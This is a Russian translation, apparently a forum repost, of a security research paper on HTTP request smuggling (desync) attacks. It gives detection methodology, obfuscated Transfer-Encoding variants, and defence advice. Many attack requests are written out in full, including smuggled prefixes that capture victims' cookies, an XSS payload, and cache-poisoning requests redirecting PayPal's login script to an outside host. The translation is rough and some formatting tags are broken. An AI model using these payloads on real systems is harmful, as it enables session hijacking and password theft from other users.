Пожалуйста, обратите внимание, что пользователь заблокирован
Аннотация
HTTP-запросы традиционно рассматриваются как изолированные или отдельные объекты. В этой статье я расскажу о забытых методах, позволяющих злоумышленникам, не прошедшим проверку подлинности, проникнуть через эту изоляцию и разделить их запросы на других, с помощью которых я смог поиграть в кукловода с веб-инфраструктурой многочисленных коммерческих и военных систем, используя дождевые эксплойты(rain exploits) на их посетителях, и получил более $ 70 тыс. наград за ошибки.
Используя эти цели в качестве тематических исследований, я покажу вам, как деликатно изменять запросы жертв, чтобы направлять их на вредоносную сторону, вызывать вредоносные ответы и получать учетные данные. Я также продемонстрирую использование серверной повторной сборки по вашим собственным запросам, чтобы использовать все возможные доверительные возможности внешнего интерфейса, получить максимальный привилегированный доступ к внутренним API-интерфейсам, и как отравить веб-кэши и поставить под угрозу страницу входа PayPal.
Контрабанда HTTP- запроса была впервые задокументирована в 2005 году компанией Watchfire , но внушающая страх репутация сложности и сопутствующего ущерба оставляла его в основном игнорируемым в течение многих лет, в то время как восприимчивость сети росла. Наряду с новыми вариантами атак и векторами эксплуатации, я помогу вам справиться с этим наследием с помощью пользовательских инструментов с открытым исходным кодом и усовершенствованной методологии для надежного обнаружения, оценки и использования черного ящика с минимальным риском побочного ущерба.
Этот документ сопровождает презентацию HTTP Desync Attacks в Black Hat и DEF CON , а также доступен в виде печатного документа . Мы также выпустили онлайн-лаборатории для сопровождения.
Основные понятия
Начиная с HTTP / 1.1 широко распространена поддержка отправки нескольких HTTP-запросов через один сокет TCP или SSL / TLS. Протокол чрезвычайно прост - HTTP-запросы просто помещаются вплотную, и сервер анализирует заголовки, чтобы определить, где заканчивается каждый из них и начинается следующий. Это часто путают с конвейерной передачей HTTP , которая является более редким подтипом, который не распространяется для атак, описанных в этом документе.
Само по себе это безвредно. Однако современные веб-сайты состоят из цепочек систем, все общаются по HTTP. Эта многоуровневая архитектура принимает HTTP-запросы от нескольких разных пользователей и направляет их через одно соединение TCP / TLS:
Это означает, что внезапно очень важно, чтобы серверная часть согласилась с интерфейсом о том, где заканчивается каждое сообщение. В противном случае злоумышленник может отправить двусмысленное сообщение, которое серверная сторона интерпретирует как два разных HTTP-запроса:
Это дает злоумышленнику возможность добавлять произвольный контент в начале запроса следующего легитимного пользователя. На протяжении всей статьи контрабандный контент будет называться «префиксом» и выделен оранжевым цветом.
Давайте представим, что внешний интерфейс отдает приоритет первому заголовку длины содержимого, а внутренний приоритет - второму. С точки зрения серверной части поток TCP может выглядеть примерно так:
Код с оформлением (BB-коды):
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 5
12345GPOST / HTTP/1.1
Host: example.com
…
Интерфейс передает синие и оранжевые данные на сервер, который читает только синий контент, прежде чем выдать ответ. Это оставляет внутренний сокет сломанным оранжевыми данными. Когда приходит зеленый запрос, он в конечном итоге добавляется к оранжевому содержимому, вызывая неожиданный ответ.
В этом примере введенная буква «G» повредит запрос «зеленого» пользователя и, вероятно, получит ответ в духе «Неизвестный метод GPOST».
Каждая атака в этой статье следует этому основному формату. В статье «Watchfire» описан альтернативный подход, называемый «контрабандой обратных запросов», но он основан на конвейерной передаче между фронтальной и внутренней системами, поэтому он редко используется.
В реальной жизни метод двойной длины контента редко работает, потому что многие системы разумно отклоняют запросы с несколькими заголовками длины контента. Вместо этого мы собираемся атаковать системы с помощью кусочного кодирования - и на этот раз у нас есть спецификация RFC 2616 :
Если сообщение получено как с полем заголовка Transfer-Encoding, так и с полем заголовка Content-Length, последнее ДОЛЖНО игнорироваться.
Поскольку спецификация неявно позволяет обрабатывать запросы с использованием как
Transfer-Encoding: chunked, так и Content-Length , лишь немногие серверы отклоняют такие запросы. Всякий раз, когда мы находим способ скрыть заголовок Transfer-Encoding от одного сервера в цепочке, он прибегает к использованию Content-Length, и мы можем десинхронизировать всю систему.Возможно, вы не очень хорошо знакомы с чанкованным кодированием, поскольку такие инструменты, как Burp Suite, автоматически буферизуют чанкованные запросы/ответы в обычные сообщения для простоты редактирования. В чанкованном сообщении тело состоит из 0 или более чанков. Каждый чанк состоит из размера чанка, за которым следует новая строка (\ r \ n), за которой следует содержимое чанка. Сообщение завершается фрагментом размера 0. Вот простая атака десинхронизации с использованием кодированной части:
Код с оформлением (BB-коды):
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Transfer-Encoding: chunked
0
Код с оформлением (BB-коды):
GPOST / HTTP/1.1
Host: example.com
Мы не приложили никаких усилий, чтобы скрыть здесь заголовок
Transfer-Encoding, поэтому этот эксплойт будет в первую очередь работать на системах, где интерфейс просто не поддерживает фрагментированное кодирование - такое поведение наблюдается на многих веб-сайтах, использующих сеть доставки контента Akamai.Если это серверная часть, которая не поддерживает чанкованное кодирование, нам нужно перевернуть смещения:
Код с оформлением (BB-коды):
POST / HTTP/1.1
Host: example.com
Content-Length: 3
Transfer-Encoding: chunked
6
PREFIX
0
POST / HTTP/1.1
Host: example.com
Этот метод работает на довольно многих системах, но мы можем использовать гораздо больше, делая заголовок Transfer-Encoding немного более трудным для обнаружения, так что одна система его не видит. Это может быть достигнуто с помощью расхождений при разборе HTTP серверов. Вот несколько примеров запросов, в которых только некоторые серверы распознают заголовок
Transfer-Encoding: chunked. Каждый из них был успешно использован для использования по крайней мере одной системы во время этого исследования:
Код:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
GET / HTTP/1.1
Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Каждый из этих недостатков безвреден, если он есть как на внешнем, так и на внутреннем сервере, в противном случае, это представляет серьезную угрозу. Для получения дополнительной информации, проверьте текущие исследования Regilero . Вскоре мы рассмотрим практические примеры с использованием других методов.
Методология
Теория, лежащая в основе контрабанды запросов, проста, но количество неконтролируемых переменных и наше полное отсутствие понимания того, что происходит за внешним интерфейсом, может вызвать осложнения.
Я разработал методы и инструменты для решения этих проблем и сгруппировал их в следующую простую методологию, с помощью которой мы можем выследить уязвимости, связанные с контрабандой запросов, и доказать их влияние:
Обнаружение
Очевидный подход к обнаружению уязвимостей в контрабанде запросов заключается в том, чтобы выдать неоднозначный запрос, за которым следует обычный запрос «жертвы», а затем выяснить, получает ли последний "неожиданный" ответ. Однако это чрезвычайно подвержено вмешательству; если запрос другого пользователя попадет в отравленный сокет до запроса жертвы, он получит поврежденный ответ, и мы не обнаружим уязвимость. Это означает, что на работающем сайте с большим объемом трафика может быть трудно доказать, что контрабанда запросов существует без использования многочисленных подлинных пользователей в этом процессе. Даже на сайте, где нет большого трафика, вы рискуете получить ложные срабатывания, вызванные причудами на уровне приложения, которые разрывают соединения.
Чтобы решить эту проблему, я разработал стратегию обнаружения, которая использует последовательность сообщений, которые заставляют уязвимые серверные системы зависать на время ожидания соединения. Этот метод имеет мало ложных срабатываний, предотвращает причуды на уровне приложений, которые в противном случае могли бы вызвать ложные отрицания, и, что наиболее важно, практически не имеет риска повлиять на других пользователей.
Давайте предположим, что внешний сервер использует заголовок
Content-Length, а внутренний использует заголовок Transfer-Encoding. Я обозначу эти заголовки как CL.TE для краткости. Мы можем обнаружить потенциальный контрабандный запрос, отправив следующий запрос:
Код с оформлением (BB-коды):
POST /about HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 4
1
Z
Q
Благодаря короткому содержанию
Content-Length, передний конец будет пересылать только синий текст, а задний конец будет в ожидании следующего размера фрагмента. Это приведет к заметной задержке.Если оба сервера синхронизированы (TE.TE или CL.CL), запрос будет либо отклонен клиентским интерфейсом, либо безвредно обработан обеими системами. Наконец, если рассинхронизация происходит в обратном направлении (TE.CL), клиентский интерфейс отклонит сообщение, даже не отправив его на сервер, из-за недопустимого размера чанка «Q». Это предотвращает "сломание" внутреннего разъема.
Мы можем безопасно обнаружить рассинхронизацию TE.CL, используя следующий запрос:
Код с оформлением (BB-коды):
POST /about HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
Благодаря завершающему блоку «0», передний конец будет пересылать только синий текст, а задний - по истечении времени ожидания X.
Если рассинхронизация происходит наоборот (CL.TE), то при таком подходе внутренний сокет ломает X, что может нанести вред легитимным пользователям. К счастью, всегда запуская предыдущий метод обнаружения, мы можем исключить такую возможность.
Эти запросы могут быть адаптированы для устранения произвольных расхождений при разборе заголовка, и они используются для автоматического выявления уязвимостей в контрабанде запросов с помощью HTTP Request Smuggler - расширения Burp Suite с открытым исходным кодом, разработанного для помощи в таких атаках. Они также теперь используются в основном сканере Burp Suite. Хотя это уязвимость на уровне сервера, разные конечные точки в одном домене часто направляются в разные места назначения, поэтому этот метод должен применяться к каждой конечной точке индивидуально.
Подтверждение
На данный момент, вы прошли как можно дальше, не создавая "побочные" эффекты для других пользователей. Тем не менее, многие клиенты будут неохотно относиться к отчету серьезно без каких-либо дополнительных доказательств, так что это то, что мы собираемся получить. Следующий шаг к демонстрации полного потенциала контрабанды запросов - доказать, что возможно "сломать" внутренний сокет. Для этого мы выдадим запрос, предназначенный для "поломки" внутреннего сокета, а затем запрос, который, как мы надеемся, станет жертвой, заметно изменив ответ.
Если первый запрос вызывает ошибку, внутренний сервер может решить закрыть соединение, отбросив отравленный буфер и прервав атаку. Постарайтесь избежать этого, ориентируясь на конечную точку, которая предназначена для приема запроса POST, и сохраняя все ожидаемые параметры GET / POST.
На некоторых сайтах имеется несколько различных внутренних систем, причем внешний интерфейс просматривает метод, URL-адрес и заголовки каждого запроса, чтобы решить, куда его направить. Если запрос жертвы будет перенаправлен на другой сервер, отличный от запроса на атаку, атака завершится неудачей. Таким образом, запросы «атака» и «жертва» должны изначально быть максимально похожими.
Если целевой запрос выглядит так:
Код с оформлением (BB-коды):
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
Тогда попытка сломать сокет CL.TE будет выглядеть так:
Код с оформлением (BB-коды):
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Transfer-Encoding: zchunked
11
=x&q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: bPOST /search HTTP/1.1
Host: example.com
…
Если атака будет успешной, запрос жертвы (зеленым цветом) получит 404 ответа.
Атака TE.CL выглядит аналогично, но необходимость в закрывающем фрагменте означает, что нам нужно самим указать все заголовки и поместить запрос жертвы в тело. Убедитесь, что Content-Length в префиксе немного больше, чем тело:
Код с оформлением (BB-коды):
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: zchunked
96
GET /404 HTTP/1.1
X: x=1&q=smugging&x=
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
x=
0
POST /search HTTP/1.1
Host: example.com
Если сайт работает, запрос другого пользователя может попасть в сломанный сокет раньше, чем ваш, что приведет к провалу атаки и может расстроить пользователя. В результате этот процесс часто занимает несколько попыток, а на сайтах с высоким трафиком может потребоваться тысячи попыток. Пожалуйста, соблюдайте осторожность и сдержанность, а также целевые промежуточные серверы, где это возможно.
Проводим исследования
Я продемонстрирую остальную методологию, используя ряд реальных веб-сайтов. Как обычно, я ориентируюсь исключительно на компании, которые дают понять, что они рады сотрудничать с исследователями в области безопасности, запустив программу вознаграждения за ошибки. Из-за распространения частных программ и летаргических патчей мне, к сожалению, пришлось отредактировать довольно много. В тех случаях, когда веб-сайты имеют явное название, имейте в виду, что они являются одними из немногих, которые теперь защищены от этой атаки.
Теперь мы установили, что отравление сокетов возможно, следующим шагом является сбор информации, чтобы мы могли начать хорошо информированную атаку.
Внешние интерфейсы часто добавляют и переписывают заголовки HTTP-запросов, такие как X-Forwarded-Host и X-Forwarded-For, наряду с многочисленными пользовательскими, которые часто имеют трудно угадываемые имена. В наших контрабандных запросах могут отсутствовать эти заголовки, что может привести к неожиданному поведению приложения и неудачным атакам.
К счастью, есть простая стратегия, с помощью которой мы можем частично поднять занавес и получить видимость в этих скрытых заголовках. Это позволяет нам восстанавливать функциональность, самостоятельно добавляя заголовки, и может даже включать дальнейшие атаки.
Просто найдите страницу в целевом приложении, которая отражает параметр POST, перетасуйте параметры таким образом, чтобы отображаемый последний был последним, немного увеличьте Content-Length, а затем перенесите полученный запрос:
Код с оформлением (BB-коды):
POST / HTTP/1.1
Host: login.newrelic.com
Content-Length: 142
Transfer-Encoding: chunked
Transfer-Encoding: x
0
POST /login HTTP/1.1
Host: login.newrelic.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
…
login[ email ]=asdfPOST /login HTTP/1.1
Host: login.newrelic.com
Зеленый запрос будет переписан внешним интерфейсом до того, как он попадет в параметр login email, поэтому, когда он будет отражен, он выведет все внутренние заголовки:
Код:
Please ensure that your email and password are correct.
<input id="email" value="asdfPOST /login HTTP/1.1
Host: login.newrelic.com
X-Forwarded-For: 81.139.39.150
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
Увеличивая заголовок Content-Length, вы можете постепенно получать больше информации, пока вы не попытаетесь прочитать после окончания запроса жертвы, и не истечет время ожидания.
Некоторые системы полностью зависят от внешней системы для обеспечения безопасности, и как только вы перестанете работать, вы сможете атаковать прямо. Контрабандный заголовок Host предоставил мне доступ к различным системам New Relic. Первоначально каждая внутренняя система, которую я проверял, думала, что мой запрос был отправлен по HTTP, и отвечал перенаправлением:
Код с оформлением (BB-коды):
...
GET / HTTP/1.1
Host: staging-alerts.newrelic.com
HTTP/1.1 301 Moved Permanently
Location: https://staging-alerts.newrelic.com/
Это было легко исправлено с помощью заголовка X-Forwarded-Proto, наблюдаемого ранее:
Код с оформлением (BB-коды):
...
GET / HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
HTTP/1.1 404 Not Found
Action Controller: Exception caught
С небольшим количеством контента я нашел полезную конечную точку у цели:
Код с оформлением (BB-коды):
...
GET /revision_check HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
HTTP/1.1 200 OK
Not authorized with header:
В сообщении об ошибке четко сказано, что мне нужен какой-то заголовок авторизации, но его не удалось получить. Я решил попробовать заголовок X-nr-external-service, увиденный ранее:
Код:
...
GET /revision_check HTTP/1.1
Host: staging-alerts.newrelic.com
X-Forwarded-Proto: https
X-nr-external-service: 1
HTTP/1.1 403 Forbidden
Forbidden
К сожалению, это не сработало - это вызвало тот же самый Запрещенный ответ/B], который мы уже видели при попытке доступа к этому URL напрямую. Это говорит о том, что интерфейс использует заголовок X-nr-external-service для указания того, что запрос возник из Интернета, и следовательно это грозит потерей заголовка, мы случайно обманули их систему, заставив думать, что наш запрос возник изнутри. Это было очень познавательно, но непосредственно не полезно - нам все еще нужно было имя отсутствующего заголовка авторизации.
На этом этапе я мог применить технику обработанного запроса-отражения к диапазону конечных точек, пока не нашел точку с правильным заголовком запроса. Вместо этого я решил обмануть и просмотреть свои заметки с прошлого раза, когда я скомпрометировал New Relic. Это выявило два бесценных заголовка - Server-Gateway-Account-Id и Service-Gateway-Is-Newrelic-Admin. Используя их, я смог получить полный доступ на уровне администратора к их внутреннему API:
Код с оформлением (BB-коды):
POST /login HTTP/1.1
Host: login.newrelic.com
Content-Length: 564
Transfer-Encoding: chunked
Transfer-encoding: cow
0
POST /internal_api/934454/session HTTP/1.1
Host: alerts.newrelic.com
X-Forwarded-Proto: https
Service-Gateway-Account-Id: 934454
Service-Gateway-Is-Newrelic-Admin: true
Content-Length: 6
…
x=123GET...
HTTP/1.1 200 OK
{
"user": {
"account_id": 934454,
"is_newrelic_admin": true
},
"current_account_id": 934454
…
}
New Relic установил исправление и диагностировал основную причину как слабость шлюза F5. Насколько я знаю, патча нет, это означает, что на момент написания статьи это был zeroday (нулевой день).
Использование
Прорыв прямо во внутренние API-интерфейсы - это замечательно, когда он работает, но это редко наш единственный вариант. Существует также множество различных атак, которые мы можем запустить против всех, кто просматривает целевой веб-сайт.
Чтобы определить, какие атаки мы можем применить к другим пользователям, нам нужно понять, какие типы запросов мы можем отравить. Повторите тест на поломку сокетов со стадии «Подтвердить», но итеративно настраивайте запрос «жертвы», пока он не будет напоминать типичный запрос GET. Вы можете обнаружить, что вы можете отравлять запросы только определенными методами, путями или заголовками. Кроме того, попробуйте отправить запрос жертвы с другого IP-адреса - в редких случаях вы можете обнаружить, что вы можете отравить только запросы, исходящие с того же IP-адреса.
Наконец, проверьте, использует ли веб-сайт кеш; они могут помочь обойти многие ограничения, повысить наш контроль над тем, какие ресурсы заражены, и в конечном итоге умножить серьезность уязвимостей, связанных с контрабандой запросов.
Хранение
Если приложение поддерживает редактирование или хранение текстовых данных любого типа, их использование исключительно просто. Префикс запроса жертвы к специально сформированному запросу хранилища позволяет приложению сохранить его запрос и отобразить его нам, а затем украсть любые файлы cookie / заголовки аутентификации. Вот пример, нацеленный на Trello, используя их конечную точку редактирования профиля:
Код с оформлением (BB-коды):
POST /1/cards HTTP/1.1
Host: trello.com
Transfer-Encoding:tab]chunked
Content-Length: 4
9f
PUT /1/members/1234 HTTP/1.1
Host: trello.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
x=x&csrf=1234&username=testzzz&bio=cake
0
GET / HTTP/1.1
Host: trello.com
Как только поступит запрос жертвы, он будет сохранен в моем профиле, обнажив все его заголовки и файлы cookie:
Единственная важная «уловка», связанная с этим методом, заключается в том, что вы потеряете все данные, возникающие после «&», что затрудняет кражу тела из запросов POST в закодированной форме. Я потратил некоторое время, пытаясь обойти это ограничение, используя альтернативные кодировки запросов, и в конечном итоге сдался, но я все еще подозреваю, что это как-то возможно.
Возможности хранения данных не всегда так очевидны; на другом сайте я смог воспользоваться формой «Свяжитесь с нами», в конечном итоге вызвав электронное письмо с запросом жертвы и заработав дополнительные 2500 долларов.
Атака
Возможность применения произвольного префикса к ответам других людей также открывает еще один путь атаки: запуск вредоносного ответа/B].
Есть два основных способа использования вредоносных ответов. Самое простое - выполнить запрос «атака», затем дождаться, пока чей-либо запрос попадет на внутренний сокет, и вызвать вредоносный ответ. Более хитрый, но более эффективный подход заключается в том, чтобы самим отправлять запросы «атака» и «жертва» и надеяться, что вредоносный ответ на запрос жертвы будет сохранен веб-кешем и передан кому-либо еще, кто попадет на тот же URL-адрес. отравление кеша.
В каждом из следующих фрагментов запроса/ответа черный текст является ответом на второй (зеленый) запрос. Ответ на первый (синий) запрос опущен, так как он не актуален.
XSS
Во время аудита SaaS-приложения Param Miner, я обнаружил параметр SAML, и сканер Burp подтвердил, что он уязвим для reflected XSS. Отраженный XSS хорош сам по себе, но его сложно использовать в масштабе, поскольку он требует взаимодействия с пользователем.
С помощью контрабанды запросов мы можем сделать так, чтобы ответ, содержащий XSS, обслуживался случайным людям, активно просматривающим веб-сайт, что обеспечивает прямую массовую эксплуатацию. Мы также можем получить доступ к заголовкам аутентификации и файлам cookie только HTTP, что потенциально позволяет нам переходить на другие домены.
Код с оформлением (BB-коды):
POST / HTTP/1.1
Host: saas-app.com
Content-Length: 4
Transfer-Encoding : chunked
10
=x&cr={creative}&x=
66
POST /index.php HTTP/1.1
Host: saas-app.com
Content-Length: 200
SAML=a"><script>alert(1)</script>POST / HTTP/1.1
Host: saas-app.com
Cookie: …
HTTP/1.1 200 OK
…
<input name="SAML" value="a"><script>alert(1)</script>
0
POST / HTTP/1.1
Host: saas-app.com
Cookie: …
"/>
DOM
В поисках уязвимости для цепочки с контрабандой запросов на сайте www.redhat.com я обнаружил открытое перенаправление на основе DOM, представляющее интересную проблему:
Код с оформлением (BB-коды):
GET /assets/idx?redir=//redhat.com@evil.net/ HTTP/1.1
Host: www.redhat.com
HTTP/1.1 200 OK
<script>
var destination = getQueryParam('redir')
poor filtering]
document.location = destination
Некоторый JavaScript на странице считывал параметр 'redir' из строки запроса браузера жертвы, но как я мог управлять этим? Контрабанда запросов дает нам контроль над тем, что сервер думает о строке запроса, но восприятие браузером жертвы строки запроса просто на любой странице, к которой они пытались получить доступ.
Мне удалось решить эту проблему с помощью цепочки в неоткрытом перенаправлении на стороне сервера:
Код с оформлением (BB-коды):
POST /css/style.css HTTP/1.1
Host: www.redhat.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
Transfer-Encoding: chunked
0
POST /search?dest=../assets/idx?redir=//redhat.com@evil.net/ HTTP/1.1
Host: www.redhat.com
Content-Length: 15
x=GET /en/solutions HTTP/1.1
Host: www.redhat.com
HTTP/1.1 301 Found
Location: ../assets/idx?redir=//redhat.com@evil.net/
Браузер жертвы получит перенаправление 301 на https://www.redhat.com/assets/x.html?redir=//redat.com@evil.net/, которое затем выполнит открытое перенаправление на основе DOM и выведет их на evil.net
CDN Chaining
Некоторые веб-сайты используют несколько уровней обратных прокси и CDN. Это дает нам дополнительные возможности для десинхронизации, что всегда ценится, и это часто также увеличивает серьезность.
Одна цель каким-то образом использовала два уровня Akamai, и, несмотря на то, что серверы принадлежали одному и тому же поставщику, их можно было десинхронизировать и, таким образом, обслуживать контент из любой точки сети Akamai на веб-сайте жертвы:
Код с оформлением (BB-коды):
POST /cow.jpg HTTP/1.1
Host: redacted.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Transfer-Encoding: chunked
0
GET / HTTP/1.1
Host: www.redhat.com
X: XGET...
Red Hat - We make open source technologies for the enterprise
Та же концепция работает с поставщиками SaaS; Мне удалось использовать критически важный веб-сайт, созданный на известной платформе SaaS, путем направления запросов в другую систему, созданную на той же платформе.
«Безвредные» ответы
Поскольку контрабанда запросов позволяет нам влиять на ответ на произвольные запросы, некоторые обычно безвредные варианты поведения становятся пригодными для использования. Например, даже простое открытое перенаправление может быть использовано для взлома учетных записей путем перенаправления импорта JavaScript во вредоносный домен.
Перенаправления, использующие код 307, особенно полезны, так как браузеры, которые получают 307 после отправки запроса POST, отправят POST в новое место назначения. Это может означать, что вы можете заставить невольных жертв отправлять свои незашифрованные пароли прямо на ваш сайт.
Классические открытые перенаправления довольно распространены сами по себе, но есть вариант, который является повсеместным в сети, поскольку он проистекает из поведения по умолчанию в Apache и IIS. Обычно его считают безопасным и игнорируемым почти всеми, поскольку без сопутствующей уязвимости, такой как контрабанда запросов, это действительно бесполезно. Если вы попытаетесь получить доступ к папке без завершающей косой черты, сервер ответит перенаправлением, чтобы добавить косую черту, используя имя хоста из заголовка хоста:
Код с оформлением (BB-коды):
POST /etc/libs/xyz.js HTTP/1.1
Host: redacted
Content-Length: 57
Transfer-Encoding: chunked
0
POST /etc HTTP/1.1
Host: burpcollaborator.net
X: XGET /etc/libs/xyz.js HTTP/1.1
HTTP/1.1 301 Moved Permanently
Location: https://burpcollaborator.net/etc/
При использовании этого метода внимательно следите за протоколом, используемым в перенаправлении. Вы можете повлиять на него, используя заголовок, такой как X-Forwarded-SSL. Если он застрял в HTTP и вы атакуете сайт HTTPS, браузер жертвы заблокирует соединение благодаря защите смешанного содержимого. Есть URL='https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://portswigger.net/blog/practi...iddenroutepoisoning#hiddenroutepoisoning']два известных исключения из/URL] этого: защита смешанного содержимого в Internet Explorer может быть полностью обойдена, и Safari автоматически обновит подключение к HTTPS, если цель перенаправления находится в кеше HSTS.
Заражение веб-кэша
Через несколько часов после попытки атак на определенный веб-сайт на основе перенаправления я открыл их домашнюю страницу в браузере, чтобы найти дополнительный вектор для атаки, и обнаружил следующую ошибку в консоли разработчика:
Эта ошибка произошла независимо от того, с какой машины я загружал сайт, и IP-адрес выглядел очень знакомым. Во время моего исследования перенаправления кто-то другой создавал запрос на файл изображения, и проскользнул раньше, чем мой запрос жертвы, и отравленный ответ был сохранен в кеше.
Это была отличная демонстрация потенциального воздействия, но в целом не идеальный результат. Если не полагаться на обнаружение на основе тайм-аута, невозможно полностью исключить возможность случайного заражения кэша. Тем не менее, чтобы минимизировать риск, вы можете совершить следующее:
- Убедитесь, что запросы «жертвы» имеют кешбастер.
- Отправляйте запросы «жертвы» как можно быстрее, используя Turbo Intruder.
- Попробуйте создать префикс, который запускает ответ с заголовками анти-кэширования, или код состояния, который вряд ли будет кэширован.
- Нацельтесь на интерфейс в географическом регионе, который спит.
Обман веб-кэша ++
Что, если вместо того, чтобы уменьшить вероятность кэширования гибридных ответов злоумышленник / пользователь, мы воспользуемся этим?
Вместо использования префикса, предназначенного для создания вредоносного ответа, мы можем попытаться получить ответ, содержащий конфиденциальную информацию, с помощью файлов cookie нашей жертвы:
Код с оформлением (BB-коды):
POST / HTTP/1.1
Transfer-Encoding: blah
0
GET /account/settings HTTP/1.1
X: XGET /static/site.js HTTP/1.1
Cookie: sessionid=xyz
Перспектива внешнего интерфейса :
Код с оформлением (BB-коды):
GET /static/site.js HTTP/1.1
HTTP/1.1 200 OK
Your payment history
…
Когда пользовательский запрос на статический ресурс попадает в зараженный сокет, ответ будет содержать данные его учетной записи, и кеш будет сохранять их поверх статического ресурса. Затем мы можем получить данные учетной записи, загрузив /static/site.js из кеша.
Это фактически новый вариант атаки обмана веб-кэша. Он более мощный в двух ключевых направлениях - он не требует взаимодействия с пользователем, а также не требует, чтобы целевой сайт позволял вам играть с расширениями. Единственный улов в том, что злоумышленник не может быть уверен, куда попадет ответ жертвы.
PayPal
С помощью контрабанды запросов, связанной с заражением кэша, я смог постоянно захватывать множество файлов JavaScript. Один из них был использован на странице входа PayPal: https://c.paypal.com/webstatic/r/fb/fb-all-prod.pp2.min.js .
Код с оформлением (BB-коды):
POST /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1
Host: c.paypal.com
Content-Length: 61
Transfer-Encoding: chunked
0
GET /webstatic HTTP/1.1
Host: skeletonscribe.net?
X: XGET /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1
Host: c.paypal.com
Connection: close
HTTP/1.1 302 Found
Location: http://skeletonscribe.net?, c.paypal.com/webstatic/
Однако возникла проблема - на странице входа в PayPal использовалась политика безопасности контента с помощью скрипта-src, который прервал мое перенаправление.
Я заметил, что страница входа загружает подстраницу на c.paypal.com в динамически генерируемом фрейме. Эта подстраница не использовала CSP, а также импортировала наш отравленный файл JS. Это дало нам полный контроль над содержимым iframe, но мы все еще не могли прочитать пароль PayPal пользователя с родительской страницы благодаря единой политике происхождения.
Затем мой коллега Гарет Хейес обнаружил страницу на paypal.com/us/gifts, где не использовался CSP, а также импортировал наш отравленный файл JS. Используя наш JS для перенаправления iframe c.paypal.com на этот URL (и запуская импорт JS в третий раз), мы могли наконец получить доступ к родительскому и украсть незашифрованные пароли PayPal от всех, кто вошел в систему, используя Safari или IE.
PayPal быстро устранил эту уязвимость, настроив Akamai на отклонение запросов, содержащих заголовок Transfer-Encoding: chunked , и получил вознаграждение в размере 18 900 долларов.
Несколько недель спустя, изобретая и тестируя некоторые новые методы десинхронизации, я решил попробовать использовать заголовок с переносом строк:
Код:
Transfer-Encoding:
chunked
Похоже, это сделало заголовок Transfer-Encoding полностью невидимым для Akamai, который пропустил его и снова предоставил мне контроль над страницей входа PayPal. PayPal быстро применил более надежное решение и вознаградили меня внушительными 20 000 долларов.
Демонстрация
Другая цель использовала цепочку обратных прокси, один из которых не рассматривал '\ n' как допустимый терминатор заголовка. Это означало, что значительная часть их веб-инфраструктуры была уязвима для контрабанды запросов. Я записал демонстрацию, показывающую, как HTTP Request Smuggler может использоваться для эффективной идентификации и использования этой уязвимости в реплике их установки Bugzilla, в которой хранится некоторая чрезвычайно конфиденциальная информация.
Защита
Как обычно, безопасность сопровождает простоту. Если на вашем сайте нет балансировщиков нагрузки, CDN и обратных прокси-серверов, этот метод не представляет угрозы. Чем больше слоев вы представите, тем больше вероятность, что вы будете уязвимы.
Всякий раз, когда я обсуждаю технику атаки, меня спрашивают, предотвращает ли это HTTPS. Как всегда, ответ «нет». Тем не менее, вы можете устранить все варианты этой уязвимости, настроив сервер переднего плана исключительно на использование HTTP / 2 для связи с внутренними системами или полностью отключив его повторное использование. В качестве альтернативы вы можете убедиться, что на всех серверах в цепочке запущено одинаковое программное обеспечение веб-сервера с одинаковой конфигурацией.
Конкретные случаи этой уязвимости могут быть устранены путем перенастройки интерфейсного сервера для нормализации неоднозначных запросов перед их дальнейшей маршрутизацией. Это, вероятно, единственное реалистичное решение для CDN, которые не хотят делать своих клиентов уязвимыми, и Cloudflare и Fastly, похоже, успешно его применяют.
Нормализация запросов не подходит для внутренних серверов - им необходимо полностью отклонить неоднозначные запросы и сбросить связанное соединение. Поскольку отклонение запросов с большей вероятностью повлияет на законный трафик, чем на простую его нормализацию, я рекомендую сосредоточиться на предотвращении контрабанды запросов через интерфейсный сервер.
Эффективная защита невозможна, когда ваш инструмент работает против вас. Большинство инструментов веб-тестирования автоматически «исправляют» заголовок длины содержимого при отправке запросов, что делает невозможным контрабанду запросов. В Burp Suite вы можете отключить это поведение с помощью меню Repeater - убедитесь, что выбранный вами инструмент имеет эквивалентную функциональность. Кроме того, некоторые компании и платформы с ошибками направляют трафик своих тестеров через прокси-серверы, такие как Squid, для целей мониторинга. Они будут препятствовать любым атакам на контрабанду запросов, которые запускают тестеры, гарантируя, что компания получит нулевой охват этого класса уязвимости.
В отличие от большинства классов веб-уязвимостей, даже ошибочные атаки на контрабанду запросов могут иметь побочные эффекты. Это делает живые сайты плохим выбором для тех, кто хочет получить опыт в контрабанде запросов.
Заключение
